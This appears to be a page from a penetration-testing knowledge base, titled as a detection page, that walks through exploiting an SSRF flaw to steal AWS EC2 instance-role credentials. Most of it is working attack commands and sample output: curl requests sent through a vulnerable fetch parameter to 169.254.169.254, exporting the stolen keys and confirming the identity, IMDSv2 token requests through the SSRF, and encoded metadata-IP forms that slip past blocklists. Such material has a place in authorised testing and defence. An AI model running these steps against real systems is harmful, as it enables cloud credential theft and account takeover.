Skip to content

IMDSv1 Enabled Detection

3 min read Created Aug 10, 2026 Last updated Aug 10, 2026

An SSRF in an application running on EC2 can reach the instance metadata service at 169.254.169.254 and pull the attached IAM role's temporary credentials. Those credentials give you the role's permissions from your own machine, off the instance entirely. This is the highest-value outcome of most cloud-hosted SSRF findings.

Confirm the instance accepts IMDSv1 first, see IMDSv1 Enabled Detection. The generic SSRF techniques and encoding bypasses are on SSRF Exploitation.

Conditions required for this attack path:

  • SSRF vulnerability in an application hosted on EC2
  • IMDSv1 enabled on the instance (HttpTokens: optional)
  • IAM instance profile attached to the instance
  • Network path from the application to 169.254.169.254

Steal Credentials Over IMDSv1

Point the SSRF at the security-credentials path. First read the role name, then the credentials object. Replace the URL with whatever the vulnerable parameter fetches.

┌──(kali㉿kali)-[~]
└─$ curl -s 'https://$TARGET_IP/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/'
WebAppRole
┌──(kali㉿kali)-[~]
└─$ curl -s 'https://$TARGET_IP/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/WebAppRole'
{
    "Code": "Success",
    "AccessKeyId": "ASIA...",
    "SecretAccessKey": "...",
    "Token": "...",
    "Expiration": "2026-01-01T06:00:00Z"
}

Export the three values and confirm the identity from your own host:

┌──(kali㉿kali)-[~]
└─$ export AWS_ACCESS_KEY_ID=ASIA...
┌──(kali㉿kali)-[~]
└─$ export AWS_SECRET_ACCESS_KEY=...
┌──(kali㉿kali)-[~]
└─$ export AWS_SESSION_TOKEN=...
┌──(kali㉿kali)-[~]
└─$ aws sts get-caller-identity
{
    "Account": "123456789012",
    "Arn": "arn:aws:sts::123456789012:assumed-role/WebAppRole/i-0abc1234567890abc"
}

Reaching IMDSv2 Through SSRF

IMDSv2 needs a PUT to /latest/api/token with a TTL header, then that token echoed in X-aws-ec2-metadata-token on the GET. A plain URL-fetch SSRF cannot do this. It only becomes reachable when the SSRF lets you control the HTTP method and add headers, for example a full request-smuggling or a gopher-capable primitive.

If you can set method and headers, the exchange is two requests:

┌──(kali㉿kali)-[~]
└─$ curl -s -X PUT 'https://$TARGET_IP/proxy?url=http://169.254.169.254/latest/api/token' \
-H 'X-Forwarded-Header: X-aws-ec2-metadata-token-ttl-seconds: 21600'
┌──(kali㉿kali)-[~]
└─$ curl -s 'https://$TARGET_IP/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/WebAppRole' \
-H 'X-Forwarded-Header: X-aws-ec2-metadata-token: $TOKEN'

A HttpPutResponseHopLimit of 1 also blocks IMDSv2 access from a container one network hop away, so containerised apps often cannot reach it even when method control exists. In practice, IMDSv2 defeats the large majority of SSRF-to-credential attempts, which is why the IMDSv1 check decides whether this path is worth pursuing.

Common SSRF Filter Bypasses

When a blocklist tries to stop the literal 169.254.169.254, the same alternate-encoding tricks used against other internal targets apply. Decimal, hex, and octal forms of the address, a redirect through an attacker-controlled URL, and DNS rebinding all resolve to the metadata IP:

http://2852039166/latest/meta-data/            # decimal
http://0xA9FEA9FE/latest/meta-data/             # hex
http://0251.0376.0251.0376/latest/meta-data/    # octal
http://169.254.169.254.nip.io/latest/meta-data/ # DNS that resolves to the IMDS IP